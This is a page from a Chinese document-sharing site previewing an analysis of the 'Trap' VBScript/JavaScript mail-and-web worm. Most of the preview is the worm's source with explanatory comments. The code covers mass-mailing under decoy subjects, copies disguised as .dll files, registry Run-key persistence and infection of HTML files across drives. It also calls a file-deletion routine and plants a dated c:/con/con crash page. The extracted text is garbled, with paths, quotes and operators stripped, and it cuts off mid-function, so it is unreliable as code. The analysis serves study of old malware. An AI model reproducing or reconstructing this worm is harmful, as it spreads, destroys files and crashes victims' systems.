陷阱”的部分源代码分析.docx

上传人:hs****ma 文档编号:548097444 上传时间:2023-07-01 格式:DOCX 页数:6 大小:14.87KB
返回 下载 相关 举报
陷阱”的部分源代码分析.docx_第1页
第1页 / 共6页
陷阱”的部分源代码分析.docx_第2页
第2页 / 共6页
陷阱”的部分源代码分析.docx_第3页
第3页 / 共6页
陷阱”的部分源代码分析.docx_第4页
第4页 / 共6页
陷阱”的部分源代码分析.docx_第5页
第5页 / 共6页
点击查看更多>>
资源描述

《陷阱”的部分源代码分析.docx》由会员分享,可在线阅读,更多相关《陷阱”的部分源代码分析.docx(6页珍藏版)》请在金锄头文库上搜索。

1、陷阱”的部分源代码分析新型恶性病毒,目前国内已有不少的网站和用户遭受“陷阱”的袭击,造成网络系统瘫痪、文件丢失现象严重。该病毒是一种网络脚本语言病毒,并是同时使用了VBScript 和 JavaScript 两种脚本语言编写的,通过OutLook电子邮件传播(不打开邮件也能被感染)、感染文件传播,传播能力较强,并能直接攻击Microsoft IIS 服务器 主页文件,造成网站感染 thank you! make use of other person to get rid of an enemy, trap _2001 这句话的意思可能是“借刀杀人”,然后是病毒名称“陷阱” on error

2、resume next dim vbscr, fso,w1,w2,MSWKEY,HCUW,Code_Str, Vbs_Str, Js_Str dim defpath, smailc, MAX_SIZE dim whb(), title(10) smailc = 4 Redim whb(smailc) 白宫相关人员邮件名单 whb(0) = presidenthttp:/ whb(1) = vice.presidenthttp:/ whb(2) = http:/ whb(3) = mrs.cheneyhttp:/ 发送邮件的主题 title(0) = Thanks for helping me!

3、 title(1) = The police are investigating the robbery title(2) = an application for a job title(3) = The aspects of an application process pertinent to OSI title(4) = What a pleasant weather. Why not go out for a walk? title(5) = These countries have gone / been through too many wars title(6) = Weve

4、fixed on the 17th of April for the wedding title(7) = The wind failed and the sea returned to calmness. title(8) = the sitting is open! title(9) = defpath = C:Readme.html 病毒文件 MAX_SIZE = 100000 定义传染文件的最大尺寸 MSWKEY = HKEY_LOCAL_MACHINESoftWareMicrosoftWindows HCUW = HKEY_CURRENT_USERSoftwareMicrosoftW

5、AB main sub main() 主程序 on error resume next dim w_s w_s= WScript.ScriptFullName 得到病毒文件本身的路径 if w_s = then Err.Clear set fso = CreateObject(Scripting.FileSystemObject) 创建文件系统对象 if getErr then 辨认病毒状态 Randomize 初始化随机种子 ra = int(rnd() * 7) 产生随机数 doucment.write title(ra) 写随机内容 ExecuteMail 执行邮件状态时的程序 else

6、 ExecutePage 执行 WEB 页状态时的程序 end if else ExecuteVbs 执行 VBS 文件状态时的程序 end if end sub Function getErr() 忽略错误 if Err.number0 then getErr=true Err.Clear else getErr=false end if end function sub ExecutePage() WEB 页状态时的程序 on error resume next dim Html_Str, adi, wdf, wdf2,wdf3,wdsf, wdsf2, vfVbs_Str = GetSc

7、riptCode(vbscript) 得到 VBScript 代码 Js_Str = GetJavaScript() 得到 Javascript 代码 Code_Str = MakeScript(encrypt(Vbs_str),true) 得到已加密过的脚本代码 Html_Str = MakeHtml(encrypt(Vbs_str), true) 得到已加密的完整HTML代码 Gf 定义病毒文件的路径 wdsf = w2 & Mdm.vbs wdsf2 = w1 & Profile.vbs wdf = w2 & user.dll 注意 wdf 和 wdf3 两个文件非常迷惑人 wdf2 =

8、 w2 & Readme.html wdf3 = w2 & system.dll 创建病毒文件 set vf = fso.OpenTextFile (wdf, 2, true) vf.write Vbs_Str vf.close set vf = fso.OpenTextFile (wdsf, 2, true) vf.write Vbs_Str vf.close set vf = fso.OpenTextFile (wdsf2, 2, true) vf.Write Vbs_Str vf.close set vf = fso.OpenTextFile (wdf2, 2, true) vf.wri

9、te Html_Str vf.close set vf = fso.OpenTextFile (wdf3, 2, true) vf.write Code_Str vf.close 修改注册表,让病毒文件在每一次计算机启动自动执行 Writereg MSWKEY & CurrentVersionRunMdm, wdsf, Writereg MSWKEY & CurrentVersionRunServicesProfile, wdsf2, SendMail 执行发送邮件程序Hackpage 执行感染网站程序 set adi = fso.Drives for each x in adi if x.D

10、rivesType = 2 or x.DrivesType = 3 then 遍历所有本地硬盘和网络共享硬盘call SearchHTML(x & ) 执行文件感染程序 end if next if TestUser then 检查用户 Killhe 执行删除文件操作 else if Month(Date) & Day(Date) = 75 then 如系统时间为 7月5日 set vf = fso.OpenTextFile(w2 & 75.htm, 2,true) 创建系统攻击文件 vf.write MakeScript (window.navigate (c:/con/con);, fal

11、se) vf.close Writereg MSWKEY & CurrentVersionRun75, w2 & 75.htm, 自动启动window.navigate c:/con/con 立刻蓝屏,利用 Windows BUG,能引起 Win9X 系统100%死机(即无法恢复的蓝屏) else 如不是7.5 if fso.FileExists(w2 & 75.htm) then fso.DeleteFile w2 & 75.htm 删除75.htm end if end if if fso.FileExists(defpath) then fso.DeleteFile defpath 删除

12、 C:Readme.html 病毒文件 end sub sub ExecuteMail() 邮件状态时执行的程序 on error resume next Vbs_Str = GetScriptCode(vbscript) Js_Str = GetJavaScript()Set Stl = CreateObject(Scriptlet.TypeLib) 创建 TypeLib对象 with Stl .Reset .Path = defpath .Doc = MakeHtml(encrypt(Vbs_str), true) .Write() 创建 C:Readme.html 文件 end with

13、 window.open defpath, trap, width=1 height=1 menubar=no scrollbars=no toolbar=no 打开会隐藏的窗口 end sub sub ExecuteVbs() 同理,如病毒文件是 VBS 时所执行的程序 on error resume next dim x, adi, wvbs, ws, vf set fso = CreateObject(Scripting.FileSystemObject) set wvbs = CreateObject(WScript.Shell) Gf wvbs.RegWrite MSWKEY & W

14、indows Scripting HostSetingsTimeout, 0, REG_DWORD set vf = fso.OpenTextFile (w2 & system.dll, 1) Code_Str = vf.ReadAll() vf.close Hackpage SendMail set adi = fso.Drives for each x in adi if x.DrivesType = 2 or x.DrivesType = 3 then call SearchHTML(x & ) end if next if TestUser then Killhe end sub su

15、b Gf() 得到系统路径 w1=fso.GetSpecialFolder(0) & w2=fso.GetSpecialFolder(1) & end sub function Readreg(key_str) 读注册表 set tmps = CreateObject(WScript.Shell)Readreg = tmps.RegRead(key_str) set tmps = Nothing end function function Writereg(key_str, Newvalue, vtype) 写注册表 set tmps = CreateObject(WScript.Shell) if vtype= then tmps.Reg

展开阅读全文
相关资源
相关搜索

当前位置:首页 > 大杂烩/其它

电脑版 |金锄头文库版权所有
经营许可证:蜀ICP备13022795号 | 川公网安备 51140202000112号